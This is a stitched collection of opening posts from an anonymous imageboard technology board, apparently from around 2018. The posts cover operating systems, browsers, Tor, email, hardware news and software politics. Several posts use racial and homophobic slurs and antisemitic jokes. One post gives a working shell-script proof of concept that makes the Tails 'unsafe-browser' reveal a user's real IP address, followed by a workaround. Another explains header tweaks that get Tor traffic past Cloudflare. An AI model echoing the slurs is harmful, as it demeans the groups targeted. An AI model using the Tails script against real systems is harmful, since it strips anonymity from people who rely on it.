All the things named were pushed as a "next big thing" while the _real_ important technologies have faded away into obscurity. x86 should have died at the hands of Symbolics Ivory or DEC Alpha, any Unix or Windows systems should have been replaced by some offspring of Genera and Smalltalk-80, C++/Java are bloated and inferior to contemporaries like Common Lisp, et cetera, et cetera. The modern computer industry is a joke, it's unable to discern buzzword-powered kludges from the real thing.

I've also provided the essay by Alan Kay in pdf format.

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I just tried windows 10 and holy shit it's really impressive how the pajeets could fuck up as much as they could, it's probably the worst OS i have ever used i would prefeer running FUCKING! WINDOWS VISTA!!!! over this 200$ shit.

How could anyone willingly use this?

How can Pajeetsoft™ not be bankrupt yet?

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There will never be a desktop as functional as Unity with only 500mb of memory usage.


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If you had one month to learn how to be as productive with Emacs and GNU+Linux as possible, how would you do it?

hard mode:

>no 'install gentoo' or 'read "man emacs"'

and yes, i've installed gentoo and completed the emacs tutorial, while working through a couple of the various manuals atm (GNU Emacs Lisp Reference Manual, Introduction to Programming in Emacs Lisp


I don't feel I'm nearly good enough yet. Particularly, I'm working toward mastering org-mode and it's feature set, since that's my new and improved brain - and I'd like to get the most out of it.

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Help an oldfag get up to date on email. Back in the day you would just read RFC822 to know how email works. What are the technologies now? What RFCs should I know about?

What are the email servers and their qualities? I remember:

* Sendmail was always getting hacked and no one could maintain it with a book

* postfix was getting popular

* I think djb rolled his own

* hell, I rolled my own forwarder once

What are the connection protocols?

* There was POP that let customers accidentally delete their inboxes whenever they read their email from a friend's computer, IMAP, MAPI that no one else supported, and everyone skips those and uses web based email now.

* Microsoft had some protocol to push emails to its handhelds that was always hanging and you needed to schedule a script to delete ds2mb every hour to work around it.

* Is there anything new in server-to-server protocols or are they still sending flat RFC821/RFC822 to each other?

What are the recommended storage formats? Those I know of are:

1. mbox - One flat text file per mail folder.

2. maildir - A nest of subdirectories with one file per message that takes forever to load off a HDD.

How does one encrypt mail like Protonmail or Tutanota?

1. encrypt storage so the host can't read it?

2. encrypt comms to other SMTP servers if they support it?

What about spam fighting? There were a bunch of groups in the late 1990s that went silent and underground in the early 2000s, especially after Usenet died.

Speaking of Usenet, how does one get back on it without going through Google Groups or "pay for binz" sites? Every ISP that I know of has shut down their usenet servers. Is anyone still on it or is it all spam and tumbleweeds?

How does one create a cluster with multiple physical servers serving one email domain? Is this done at a lower level?

What webmail frontends are recommended? Squirrelmail was once the standard but it has been abandoned for years.

Is there anything new that needs to go into DNS to make email work better? Any special TXT tags?

What else should a techie know about email today?

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Decades-old PGP bug allowed hackers to spoof just about anyone’s signature


So thanks to the UNIX way, even GPG is totally broken. They didn't even need to crack the cryptography, they just went around it by exploiting a bug in the way unix handles filenames (as strings instead of a proper path data type). Absolutely hilarious. GPG has had essentially zero security in the last 10 years.

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Are palemoon retard niggers?

I went on the Palememe forum because I wanted to make a thread explaining how to use it with Tor without getting blocked from 99% of the web (because 99% sits behind Cuckflare).

>You aren't allowed to perform this action.


>You are most likely seeing this page because you are attempting to post or access restricted members areas from a TOR relay.

>This forum does not allow posting of content or accessing certain pages from the TOR anonymity network due to previous abuse.


>For full functionality, please do not use the TOR network.

Oh well. To use Palememe with Tor all you have to do is this set your user agent to

Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0

This can be done in any Firecuck fork by setting general.useragent.override in about:config. This works because Tor Browser is currently able to view any Cloudfare website so all you need to do is make your headers look mostly the same.

Palememe also sets the accept header to some retarded bullshit (image/jxr,*/*) which triggers Cuckflare for equally retarded reasons, causing you to not be able to view any images. This is solved by setting image.http.accept to */* in about:config.

Anyway Palememe is retarded as fuck about everything they do such as this blocking Tor from their forum and blocking plugins. What's a better web browser that supports CSS and toggleable JS, etc?

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So what is the most reliable, secure, and tried and true encryption method available? What is the best software for this in the current year+2

I've heard truecrypt has been compromised years ago, but heard that old versions of it are still secure and unbreakable. does anyone know the cutoff version for truecrypt before it became compromised? i've been saving truecrypt installation files for years. some people suggest bitlocker but an encryption program is only as good as the company that made it, and i trust microsoft about as much as a trust the NSA.

What do you guys use and why do you use it?

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Best Firefox fork?

Waterfox and Pale Moon are spyware and IceCat is incredibly slow for me as well as lacking quite a few add ons I use, is IceWeasel any good?

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Good software thread

I mostly see people bitching about stuff here. It's time to get /comfy/ier

Here we post about all around good software. Try and keep things on focus and not derail into an all-out brawl on what is good and what isn't. No obviously shit software like GNOME, systemd, modern web browsers, ect.

I'll start.

FVWM window manager

-oldest surviving window manager (at least in active development)

-minimal yet looks great out of the box

-low memory usage

-programmed by creator of rxvt, other veterans also/have work on it (including tmux creator)

-active community


-openbox. less memory usage than fvwm, tons of themes but almost no new updates since 2010 (creator considers it a finished project)

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Does this sound like a good job opportunity?

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New EU Online Copyright Law

The last thread >>922865 was locked because of insufficient information in the OP.

In the attached mp4, the narrator talks about how a newly proposed EU law would effectively eliminate any ability to link to other materials for any purpose without a license. Apparently, there is a push for a petition that anyone including people outside of the EU can sign. You can read the article dude is referring to here http://archive.fo/qoaPu .

Does anyone think this is all what has happened after the US gave up DNS control to ICANN? http://archive.fo/2Rc45 I know it's certainly the result of reducing the NSFNet into what we call the Internet today.

Since 2016, we've seen Russia ban VPN's and proxies, Europe pass GDPR, the US eliminate net-neutrality whatever that was and also pass CLOUD and FOSTA. Is this all coincidence, or is the Internet being broken apart literally as we speak? Will there be in a few years, licenses that people have to obtain to request traffic from EU, or China, or Russia, or US, or Canada? Will there be increased costs by the ISP on the consumer for assuming these licenses to give accesses to these areas?

All of these laws work differently and by their execution carve the Internet up into pieces that can't work cohesively. They effectively eliminate any kind of discourse and dissemination of ideas, the original academic purpose of the Internet. While hyperbolic for the time being, that exaggeration does not dismiss the real possibility that the Internet will be shattered and incompatible.

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/ipfs/ - IPFS Thread #2

Last thread (>>793208) doesn't seem to be bumping anymore




>>Add options for record count and timeout for resolving DHT paths (ipfs/go-ipfs#4733)

>>Add low power init profile (ipfs/go-ipfs#4154)

>>Add Opentracing plugin support (ipfs/go-ipfs#4506)

>>Add make target to build source tarballs (ipfs/go-ipfs#4920)


>>Add BlockedFetched/Added/Removed events to Blockservice (ipfs/go-ipfs#4649)

>>Improve performance of HAMT code (ipfs/go-ipfs#4889)

>>Avoid unnecessarily resolving child nodes when listing a sharded directory (ipfs/go-ipfs#4884)

>>Tar writer now supports sharded ipfs directories (ipfs/go-ipfs#4873)

>>Infer type from CID when possible in ipfs ls (ipfs/go-ipfs#4890)

>>Deduplicate keys in GetMany (ipfs/go-ipfs#4888)

tl;dr for Beginners

>decentralized P2P network

>like torrenting, but instead of getting a .torrent file or magnet link that shares a pre-set group of files, you get a hash of the files which is searched for in the network and served automatically

>you can add files to the entire network with one line in the CLI or a drag-and-drop into the web interface

>HTTP gateways let you download any hash through your browser without running IPFS

>can stream video files in mpv or VLC (though it's not recommended unless the file has a lot of seeds)

How it Works

When you add a file, the files are cryptographically hashed and a merkle tree is created. These hashes are announced by the IPFS client to the nodes in the network. (The IPFS team often describes the network as a "Merkle forest.") Any user can request one of these hashes and the nodes set up peer connections automatically. If two users share the same file then both of them can seed it to a third person requesting the hash, as opposed to .torrent files/magnets which require both seeders use the same file.


>Is it safe?

It's about as safe as a torrent right now, ignoring the relative obscurity bonus. They are working on integration with TOR and I2P. Check out libp2p if you're curious.

>Is it fast?

Finding a seeder can take anywhere from a few seconds to a few minutes. It's slowly improving but still requires a fair bit of optimization work. Once the download starts, it's as fast as the peers can offer, just like a torrent.

>Is it a meme?

You be the judge.

It has implementations in Go (meant for desktop integration) and Javascript (meant for browser/server integration) in active development that are functional right now, it has a bunch of side projects that build on it, and it divides important parts of its development (IPLD, libp2p, etc) into separate projects that allow for drop-in support for many existing technologies.

On the other hand, it's still alpha software with a small userbase and has poor network performance.

Websites of interest


Official IPFS HTTP gateway. Slap this in front of a hash and it will download a file from the network. Be warned that this gateway is slower than using the client and accepts DMCAs.


Pomf clone that utilizes IPFS. Currently 10MB limit.

Also hosts a gateway at gateway.glop.me which doesn't have any DMCA requests as far as I can tell.


IPFS index, has some links (add ipfs.io/ before to access without installing IPFS)

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End of desktops

Since someone is clearly samefagging/shitposting about this topic we can bundle all your dumb shit in this thread.

Go ahead and tell us how desktops will die soon and how the jews have won.

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Why are *BSD's so popular with Japan?

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Intel dumpster fire presentation at Computex 2018

>Intel hosts cringey as fuck presentation before AMD presentation

>Ends it with announcement of new 28 core CPU that will be stock 5 gHz

>Shows off a short cinderbench demo at 5 ghz

>Says will be available at end of 2018

>Doesn't specify price or what cooling it uses

>AMD announces Threadripper 2 right after with regular air cooled heatsink

>Next day Intel pulls demo units from show before press could dig into the specs

>Press manage to take photos of the mobo/cooler and some benchmarks

>Asus and Gigabyte used 1KW water chiller and custom loop to keep the chip at -10 at idle

>Commenters figure out it must be one of the Xeon Skylake X chips that Intel rushed for the show to have some desktop answer for TR2

>Anadtech mentions that they couldn't see one of the demo's at 5 ghz because there wasn't enough power to run the rig and the chiller at the same time

>Commenters conclude that the chip must be pulling over 600W at full 5 ghz

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Anybody here work with FORTRAN? I've recently started learning it and it seems like a really interesting, if archaic, language. Really, from what I've seen, it feels more like a scripting language than a full-blown compiled language.

If you do use FORTRAN, what compiler do you use and which is your favorite? What do you use it for and would a more contemporary language do it better (are you using FORTRAN to deal with legacy baggage?)

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80s/90s technology

Post some cool or nostalgic stuff

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how can we actually make things better?

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We need to stop having fun, take everything seriously and personal.

This is what happens when people take shitpost seriously:


I found this gem here:



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Im currently doing a run of SICP using a pdf, the original lectures, and dracket as lisp interpreter set on R5RS. I dont know how to program and was hoping after finishing the book, I'd have an understanding of programming and compsci thats good enought to jump into other programming books that teach me the languages rather than how to program. Is this a realistic expectation? Reusing a dark wojak.

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How to become a superuser

By what means did you all learn computer shit? All I can do is some programming and basic linux stuff, what's a good way to learn how to do stuff like network administration, database management, or use linux efficiently? Right now I'm using a guide I found on startpage to be able to ssh into my computer, but certainly there must be a good comprehensive resource on all this sort of stuff out there. I didn't even know what ssh was until someone mentioned it here earlier and there's probably a ton of other useful things I haven't heard of just like it.

Any ideas?

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Online Spyware Watchdog

Hi /tech/, it's been a while since the last thread about this project, so I thought I would make a new thread because I've been more active in editing the website, and I have more free time now.

The Online Spyware Watchdog is a website I have been working on, on and off for a while, you can visit it here:


This is a website that is supposed to be a resource for learning about spyware- software that collects information about its users. It basically exists right now as a collection of articles that describe specific software, assigns it a "Spyware Score", and then has a detailed explanation of how that software spies on you. The idea of the website is that it's a living document, and that new articles and changes to existing articles are contributed to the website over e-mail. So, it's supposed to be a place on the internet that consolidates all the information about how a certain program is spying on you into one article- you'll notice that if you want to find out all of the ways that a program like Discord spies on you, the information is spread out across the privacy policy and several threads and forum posts that explain other spyware features that the privacy policy doesn't mention. This website is supposed to have a synopsis of all of that information so that people can be more aware of it.

Lately, the website has been getting a lot of traffic, a lot more than it was getting earlier, I think this is because a few weeks ago RMS created a page about why Discord is bad on his website linking to an article on the website: https://stallman.org/discord.html And then there was the controversy about Discord among /pol/ users which happened more recently which probably drove a lot of traffic to the site as well. The website has had almost 40k total hits when i'm writing this. So since a lot of people are looking at the site, I thought I would fix it up a little (I've been working on it more and adding new articles lately) and make a new thread for it.

You can read my earlier thread about this project here:


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CopperheadOS is finished because of internal conflicts

Copperhead co-founder Daniel Micay departs from custom Android OS project over alleged disagreements with its CEO and other co-founder James Donaldson, then purges signing keys

>Daniel alleges that James' greed started manifesting last month

>Daniel fully intended to continue CopperheadOS development but he needs proper support from a legitimate business (he does not want to take money from others, e.g. donations)

>Daniel planned to hand over CopperheadOS development to others despite he's the only full-time developer at that time despite desperately needing a proper development team

>he claims unfair pay distribution

>Daniel also does not want to establish a new company alone

>James denies that a "takeover" happened because that tewrm, according to him, is "incorrect"

>James is also into cryptoshit

>James is now de facto under control of the Copperhead infrastructure

Fork when?

Someone compiled all that drama until last week:


Twitter threads by the two people from then on:



http://archive.is/gAuJJ (the source of pic related)


Leddit threads on this matter:

https://snew.github.io/r/CopperheadOS/comments/8olyby/june_security_update_on_the_way_despite/ (removed - use https://ghostbin.com/paste/yofov (twitter link is dead though))

https://snew.github.io/r/CopperheadOS/comments/8oq1l3/cos_future_questions_and_concerns_from_a_customer/e06a4cr/ - http://archive.fo/xUiwD


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debian thread

here we discuss the best linux distro

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Tails IP leak

A compromised local user on Tails can get your pubic IP, no privilege escalation required: https://labs.riseup.net/code/issues/15635


export DISPLAY=:69
mv /run/user/1000/bus{,.bak}

Xvfb $DISPLAY -r -nocursor & xpid=$!
sleep 1

sudo DISPLAY=$DISPLAY unsafe-browser &>/dev/null &

xdotool search --sync --name zenity 1>/dev/null
xdotool key --delay 200 Tab Return

xdotool search --sync --name Unsafe 1>/dev/null
xdotool key --delay 200 ctrl+l
xdotool type --delay 200 www.yourip.us
xdotool key --delay 200 Return

xdotool search --sync --name Your getwindowname | awk '{print $5}'

mv /run/user/1000/bus{.bak,}
kill "$xpid"
exit 0

Workaround: delete /etc/sudoers.d/zzz_unsafe-browser after start up

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In 1981, IBM released the IBM model 5150 or the "Personal Computer" with the sole-intent from day 1 to create an open standard, embrace third party software, use only off-the-shelf components, and to be fully serviceable by third party repair shops. Going as far as to including fully commented source code for the BIOS in the technical manuals just to aid in peripheral development. Even going as far as to using an inferior Intel 8088 over their own IBM 801 RISC because the Intel was more familiar with more developers (the Intel 8086 was superior to the IBM 801 but was more expensive than the 8088). John Dvorak of InfoWorld by 1982 was already calling it a de-facto standard. By 1983 sales had surpasses the Apple II, by 1984 IBM PC revenue was greater than Apple, Commodore, and HP combined with Forbes estimating 56% of American companies relying on the IBM PC. By the turn of the decade hundreds of IBM PC compatible computer models were on the market

Lads, today we are ever reaching a difficult crossroad in computing. There are still a couple billion PCs out there, but with Smartphones quickly eating the market and the reputation of Intel/AMD hanging by a thread, I fear for the future. It seems as though everyone wants to openly kill open computing standards, Google, Apple, and fuck even Intel themselves have been trying to kill it by slowly over the last couple of decades turning the standard into a more Intel-controlled standard using their own specifications. I don't want to see the PC die lads. I want more companies supporting it like the good old days.

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ITT: We post obscure code that bears entertaining results.

Run this in .Net:

static void cocker()
Console.CursorVisible = false;

Action<char, int> getit = (c, n) =>
for (int i = 0; i < n; i++)

var bally = (char)48;
var seggy = (char)61;
var belly = (char)68;
var woodog = 10;
var colors = Enum.GetValues(typeof(ConsoleColor))
.Cast<ConsoleColor>().Where(c => c != ConsoleColor.Black && c != ConsoleColor.DarkBlue);

while (true)
foreach (var color in colors)
Console.ForegroundColor = color;
Console.CursorTop = 10;
Console.CursorLeft = (Console.BufferWidth / 2) - woodog / 2;

var cp = new { left = Console.CursorLeft, top = Console.CursorTop };

getit(bally, 2);
Console.CursorTop = cp.top;
Console.CursorLeft = cp.left;

getit(seggy, 3);
getit(belly, 1);

int i = 0;

for (; i < woodog; i++)
Thread.Sleep((5 * i));
getit(seggy, 1);
getit(belly, 1);

for (; i > 1; i--)
Thread.Sleep((5 * i));
Console.CursorLeft = Console.CursorLeft - 2;
getit(belly, 1);
Console.Write(' ');


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Lisp Machine Hate Thread

Lisp machines are shit and never amounted to anything. Unix haters bitch all day about Unix problems from 20 years ago and yet cant even build a basic functional system. Remember guys lisp OS is simple and elegant! In fact its so simple we are incapable of writing a modern version and can only bitch all day.

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What is the most cucked free software in the world?

I want to find the most extreme example.

The most cucked CoC full of soy.

Soy driven development. Maximum amount of social justice policing, and white men oppression.

Uses maximum amount of software which is also full of soy.

What is it?

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The fuck is this shit?

Is this a trick to make you download a botnet or is FF legit a shit browser?

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Mobile phone recommended applications.

What applications to a phone should one have? For example, I just got a new android phone, and i would like to know a recommended list of apps to install.

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lets talk about satelite view

-prefered imagery/programs


-places of interest

-Blah blah blah

were talkin all things eye in the sky gtf in here

TL;DR I want to look at my back yard anonymously without going outside.

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Why do (You) think there are so few women in programming?

Is it really because of a sexist and unwelcoming atmosphere?

Most nerds would love to have a woman among them right?

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Protonmail Compromised?

I just noticed that Protonmail now requires e-mail/SMS/cash verification if you attempt to sign up over a VPN or with certain privacy software installed.

Since they obviously want some way to fingerprint new users, is this an indication that the service is suffering some kind of internal compromise? It's a big change from how they used to act like user privacy was all important.

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Talos II lite comming

> For those that have been interested in the Talos II POWER-based system that is fully open-source down to the firmware but have been put off by its cost, Raptor Computer Systems today announced the Talos II Lite that is a slightly cut-down version of the Talos II Workstation.

> The Talos II Lite is still a very competent beast of a system and features a single POWER9 CPU socket, EATX chassis, 500W ATX power supply, and is sold as a barebones package. The Talos II Lite motherboard supports up to the 22-core POWER9 CPU, eight DDR4 ECC RAM slots, one PCI Express 4.0 x16 slot, one PCI Express 4.0 x8 slot, dual Gigabit Ethernet, four USB 3.0 ports, and one USB 2.0 port.

> The Talos II Lite is expected to begin shipping in July. For their pre-ordering, the bare chassis (motherboard + PSU + case + heatsink) is $1,399 USD while a 4-core POWER9 CPU is an additional $375, the eight-core CPU $595 USD, 18-core CPU $1375, and the 22-core model is $2575 USD. Besides the base chassis and POWER9 CPU expendature, there is also the DDR4 ECC Registered memory and any other peripherals desires for your libre system.

> While it's still a significant chunk of change, the $1,399 USD bare chassis is quite the markdown compared to the $4,925.00 price-tag on the Talos II Secure Workstation (that price does include two 4-core POWER9 CPUs). More details on the Talos II Lite system at RaptorCS.com. We should be getting remote access soon to the Talos II Lite for some fresh POWER9 comparison benchmarking.


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>there are programmers defending GDPR and ignoring it will destroy European internet

Are those programmers cucked or they just hate Europe?

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>just switched from FX 4300 to Ryzen 3 1300X

holy fucking hell, Ryzen is in another dimension of speed compared to FX. I honestly have a hard on rn. The speed of this thing is fucking insane. How could anyone not like this processor?

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When did your Android device last receive an official patch?


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Google celebrates Father's Day by sharing dad-related search trends, and Kanye West is on top

By Brian Fagioli

Google is all about data. Yes, the company has the ability to track individuals using the information it collects, but more importantly, it can analyze on a more macro level, discovering global trends. Heck, Google has the potential to change the world by properly leveraging its collected data.

Today, Google is sharing some search trends that, while fun, are not at all world-changing. Actually, they are bordering on silly, but that's OK. What are they? Dad-related trends to celebrate the upcoming Father's Day which is this Sunday!

ALSO READ: Google is very proud of LGBTQ YouTube creators, launches #ProudToCreate hashtag

"Everything 'dad' is suddenly cool: dad shoes, dad hats, and even the beloved dad joke. As a tribute to dear old dad ahead of Father’s Day, we’re highlighting some of the most interesting 'dad' Google Search trends over the past year," says Jennifer Kutz, Google.

Kutz further says, "While dad-cool may not always be a trend, appreciating our pops will never go out of style. Whomever you celebrate on June 18th, whether it's dad, grandpa, coach, or another fatherly figure, we wish you the happiest of Father's Days."

ALSO READ: Google brings Wi-Fi to 400 Indian train stations

Google shares the search rends below, including some fairly humorous animated GIFs.

Most searched-for celebrity dads

1. Kanye West

2. Dwayne "The Rock" Johnson

3. Prince William

4. Tristan Thompson

5. John Legend

6. Adam Levine

7. Hugh Grant

8. Seth Meyers

9. Jeffrey Dean Morgan

10. John Stamos

Trending dad-shoes searches

- “Gucci dad shoes,” up 5000 percent

- “Umbro dad shoes,” up 5000 percent

- “Balenciaga dad shoes,” up 2800 percent

- “Dad shoes trend,” up 850 percent

- “Fila dad shoes,” up 550 percent

Trending dad-hat searches

- “Rick and Morty dad hat,” up 5000 percent

- “Black Panther dad hat,” up 5000 percent

- “Off white dad hat,” up 500 percent

- “Champion dad hat,” up 300 percent

- “Make your own dad hat,” up 100 percent


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Introducing DNS Resolver for Tor




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The phone market is garbage, we're basically left with the choice between cancer and aids.

why isn't there a 3rd option? where is Gentoo for phones?!

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*Fuck editors this is the ultimate battle*




this is the final frontier of standardization

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Microsoft has been talking to GitHub about possible acquisition


If Gibhub wasn't cucked before, it is now.

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When is the new Icecat slated

Yes, yes, I know we have three browser generals on the front page. This thread isn't for shitposting, though.

It's so hard to keep tabs on libre software, since they don't prioritize publicity. As you can tell, ESR 60 was released just a few days ago, so has anyone seen an announcement by the IceCat project whether or not they're going to fork the new release? Obviously it'll take some time, but I've seen no intimation on them even working on it, which is disconcerting.

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What's the general consensus on ReactOS? Kind of seems like a "worst of both worlds" thing to me (having done little research).

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/tech/, what careers are out there that revolve around blockchain technology?

What do I need to learn to get into this field?

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Mozilla is removing 'meritocracy' from their governance docs because meritocracy is 'problematic'



tl;dr SJWs get triggered by meritocracy as niggers and people with untreated mental problems can't code for shit and can only compete if they get more points for not being white.

The discussion is still ongoing but it wasn't started by some low-ranking faggot so they'll probably remove it.

With this anti-quality trend continuing we may end up like in the days when there was simply no free alternative to most closed-source software, and instead of Microsoft's tactics finally succeeding it'll be because we accepted every pull from LaShaniqua without checking if it works first.

>The use of the term “meritocracy” to describe communities that suffer

>from a lack of diverse representation is increasingly seen as

>problematic: it proceeds from an assumption of equality of opportunity.

>There is now quite substantial evidence [1] as well as opinion [2] that

>we should challenge this usage.

>It asserts that people’s contributions are what

>counts, not their employment affiliation or the personal relationships

>they may have. I believe we are able to acknowledge that this approach

>remains imperfect. Mozilla does support other measures (through

>outreach and recruiting, policies and process improvements and tooling)

>that can help address the biases inherent in a system where people gain

>authority based on their past delivery.

>To sum up:

>-Declaring Mozilla to be a de facto “meritocracy” fails to acknowledge

>evident bias in representation in the project.

>-The word “meritocracy” itself has become a bone of contention which is

>unhelpful to us.

>-Meritocractic principles remain highly desirable and should be explicit.

>-We should also acknowledge the importance of measures we take to debias

>how authority is distributed.

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ISO standardization thread

When will ISO standardize Perl 6 or Python 4?

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Non-volatile memory thread

Why are we still using Flash Memory as non-volatile storage in CY+3 /tech/?

Is it because the limited lifespan of flash memory is goode for the economy?:^)

What ever happened to all the various forms of NVRAM that were hyped around when memristors were physically implemented for the first time?

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We Have Chosen Shame and Will Get War


>The basic idea of the Web goes back at least to 1969. Douglas Engelbart, the inventor of the mouse, developed an integrated system for computer-supported cooperative work and demonstrated it to 2000 people in a San Francisco hotel ballroom.

>One corner of the display contained a live video image of his collaborator, sitting at a computer terminal 30 miles away. The computer combined input from the two men's keyboards and mice to build hypertext documents and graphics.

>Although the system was implemented on a timesharing mainframe computer, Engelbart showed his ARPAnet interface and distributing the collaborators across the network was the obvious next step.

>A reimplementation of Engelbart's ideas by a group of C programmers at CERN, a physics lab in Switzerland, grew into the World Wide Web fad. The Web caught on like wildfire after the release of NCSA Mosaic, a program that made Web pages with pictures viewable on several different kinds of computers.

>The fact that we'd lost all of Engelbart's collaboration tools didn't bother anyone; where he had vector graphics we now had bitmap graphics

>A naive mind might assume that HTML was designed by a bunch of people who sat down with 100 documents of different types and said "let's not leave the table until we've put enough richness into this language to capture the authors' and designers' intent for at least 98 of the documents."

>Ever since the advent of the programming language C, however, this is not how software is designed.

>Instead of asking "how can we fulfil user requirements?" C programmers ask "how many of the features that were commonly available in 1970 can I add to my program without it crashing (too often)?"

>The result? A formatting language too wimpy even for a novel.

>We would have been paid back in convenience and automated systems doing our work for us. But the Web was doomed when the C programmers at CERN forgot to add any structure tags. They chose shame and got war.

In short: the Web sucks because of C programmers. Why should the browser understand all the HTML versions? Why should the browser understand all the file/encoding formats? Why can't we have universal (hackable, meta) standards? Why do we even NEED web standards - Why is nothing programmable in real time?

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Google removes eggs from salad emoji to make it more inclusive for vegans

Jennifer Daniel, UX-Art Manager of the Expression design team at Google, tweeted about the change earlier this week. “There's big talk about inclusion and diversity at Google so if you need any evidence of Google is making this priority may I direct your attention to the emoji— we've removed the egg in Android P beta 2, making this a more inclusive vegan salad,” she wrote.

>We're slowly giving some our emojis more love. Our goat is no longer so angry. The turtle really needed a hug. And we gave the Grinning Face With One Large and One Small Eye some anti-anxiety meds.



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How do you cope with your internet footprint?

I have dozens of account from different websites and i write all of my accounts to notebook with password-name-e mail etc. And now i feeling like shit cause i am literally swiming in botnet and i think i should clean some of them but i cant delete some accounts and i dont know where to start??

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>don't use palemoon because it's owned by a furfag

>libreoffice, krita, and gnu are perfectly fine

I don't get it.

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Is BASIC still worth learning?

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Can you clean mechanical keyboards at the car wash?

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Favorite DEF CON and Other Convention Talks

What are you favorite convention demos?

I've been going through last years DEF CON 25 videos, and some of them are pretty incredible. This video here https://www.youtube.com/watch?v=gFTiD7EnVjU showcases multiple vectors for bridging air gaps. There were other talks that involved fuzzing x86 instructions and bypassing smart gun safety features.

DEF CON 26 will be in late July and early August, so maybe there will be some good ones this year.

Does anyone have any interesting talks at this or similar conventions: CCC, Black Hat, etc?

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You don't like it because you're not smart enough to understand its true power

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Node 2 Incoming!

The guy that created Nodejs (Ryan Dahl) just started work on "Node 2": Deno.

In short:

>Sandboxed by default.

>Typescript is the default language.

>No node_modules and no require syntax, just import files (that could be local or on the internet, like Go).

>No package.json

>No centralized repository.

>No more local dependencies, everything is installed to a global $NODE_PATH directory (like Go).

>Proper promises/async-await support.



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Project Thread

8chan project listings thread

Name some projects that you work in.

Here are two examples.

>>>/hydrus/ (*Booru and Image Gallery downloader)

>>>/ipfs/9 (Windows Installer and "IPFS tracker" for IPFS+I2P)

>>>/machinecult/ (chatbot software project)

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Adapters & Ground plugs

I've noticed more adapters lately for recent technology like laptops some aren't using ground plugs.

Is there a reason for this?

Did they change anything internally to be resistant to what ground plugs supposed to serve?

Were they ever really needed?

Of course I ask this out of concern about protecting any devices from shitty electrical problems outside of my control. Appreciate any thoughts or comments. I guess the bigger question I am asking is what is protecting the circuit from surges? I am assuming just because you use a surge protector on an outlet before an adapter- it would not protect it if it doesn't have the grounding. Idk helps me.

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/mg/ - Software and Hardware Minimalism General

For discussing software and hardware minimalism and minimal computing lifestyle.

>What is computing minimalism?


>Why software minimalism?

- Fewer bugs

- Better performance

- Lower memory footprint

- Better maintainability

- Higher scalability

- Longer software lifetime

- Smaller attack surface

>List of minimal OSes and distros


>Minimal programs lists

Alternatives to Bloatware: https://github.com/mayfrost/guides/blob/master/ALTERNATIVES.md

Window Managers: https://en.wikipedia.org/wiki/Comparison_of_X_window_managers

Suckless: https://suckless.org/rocks

Cat-v.org: http://harmful.cat-v.org/software/

Minimalism is not a lack of something. It's simply the perfect amount of something.

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Why do people keep shilling VPS running VPN as a great privacy solution, am I missing something?

>buy VPS

>run VPN on it

>post that the jews did 9/11 on twitter using the VPN

>twitter gives the IP that posted that to Mossad

>Mossad finds out the IP belongs to a VPS

>they ask who paid for the VPS

>you get vanned

This doesn't seem any different from a commercial VPN solution expect for the fact that you are more unique. It's worse if the commercial VPN is an actual no logs service.

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LibbieOS - Libbie The Free Virtual Assistant

this idea of mine has been floating around for a while, I have doubts on how well this will be received but I'll be glad if you guys like it.



LibbieOS, AKA "Libbie - The Free Virtual Assistant", is a linux distro designed to work as a free alternative to Siri/Cortana/Alexa. No need to worry about government snoops or corporate stooges watching you at every turn, Libbie does what you ask of her and doesn't need to hide anything from you!


The purpose of this distro is to provide a small operating system for embedded devices to function as a free replacement to Alexa. LibbieOS has a series of scripts that can be inputted through voice commands or text terminals to do various functions for whatever you want.

LibbieOS is based on Gentoo Linux, and can be tailored for your needs the way you want it to be.

Example Commands

run <Program>
volume <number or command>
search "<query>"
remind_me_about <date> <time>
set_alarm_for <date> <time>
help <subject>

Author's Notes

I have far too many neat ideas, too little time, and burn out on motivation. Besides, this idea was way too fun to keep holed up in my head, and I wanted to share this with you guys.

by the way, "normal" is relative.

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Space Thread

Let's have a bread to discuss space tech.

Will the SABRE bring man closer to constructing permanently inhabited Space Colonies?

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Yet another spectre class vulnerability


>Red Hat has been made aware of a vulnerability that exists in modern microprocessors, requiring updates to the Linux kernel, virtualization-related components, and a microcode update.

>An unprivileged attacker can use this flaw to bypass restrictions in order to gain read access to privileged memory that would otherwise be inaccessible.

>This issue is known to affect CPUs of various microarchitectures from: AMD, ARM, IBM POWER8, POWER9, and SystemZ series, and Intel processors.

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What happened to this guy?

He supposedly breaks the ps3 keys, yet does nothing else.

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What software does the world need?

What software should we have at [current year] but for some reason don't? Why aren't you working on making them a reality?

- Attractive FOSS frontend for Matrix, so we can say final goodbye to Discord.

- Programs that can properly replace Photoshop and other adobe software. As a piece of software Gimp and Krita and Inkscape and the likes are just completely inferior in every way other than some minor advantages.

- Some kind of online documents/spreadsheets that can replace google docs. Ideally combined with git mechanics and syntax highlighting if you add code. Even better if it can double as a wiki-like website.

- Imageboard software that's fast, has all the hip features you could ask for, fully functions without js, and isn't made with PHP or other pajeet tools.

- Non-shit frontend for NNTPchan.

- A web browser that isn't dependent on firefox or chrome, respects your privacy, and doesn't send any information anywhere without you knowing. Ideally it should have privacy tools like uMatrix out of the box.

- Something like wordpress that allows you to make easily editable websites for people, except it's less shit and includes common features out of the box so you don't have to download 50 plugins for simple things.

I've been prototyping some programs with the hope of competing with adobe's shit in some distant future, but too early to show yet.

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Bases RMS puts back a joke deemed offensive in GCC

>Toward the end of April, Raymond Nicholson posted a patch to the glibc manual removing a joke that he didn't think was useful to readers. The joke played on the documentation for abort() to make a statement about US government policy on providing information about abortions. As Nicholson noted: "The joke does not provide any useful information about the abort() function so removing it will not hinder use of glibc". On April 30, Zack Weinberg applied the patch to the glibc repository.


Fortunately for us RMS is still sane.

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Can we please talk about how UN*X shell is still not fixed in 2018?

All they need to do is add "path" and "flag" data types separate to strings. Currently in shell everything is a string and it breaks everything.

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Why does it say 819 elements blocked? What the hell is it blocking?

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The only way to make FLOSS social-related software gain enough traction to become usable is to force them as memes in a co-ordinated fashion while simultaneously promoting more zuckerberg and google stalker memes

But is it worth it?

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>be me

>be using proxy

>fuckyeah I'm 1337

>googling song lyrics

>"displaying results from my hometown"

what the fuck? How does it know? Should I even try to cover my footprint anymore or am I jerking myself off while only wasting my time?

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Raspberry read/write statistics

I have a Raspberry Pi 3. To ease the wearing of the sd card I mount the /var directory on a usb key. I plug another usb key to share some files on the lan. I wonder how much read/write are saving from the poor sd card and start collecting statistics daily. After some months I decided to plot the data and the result is in the linked image (because tor users can't upload images...)


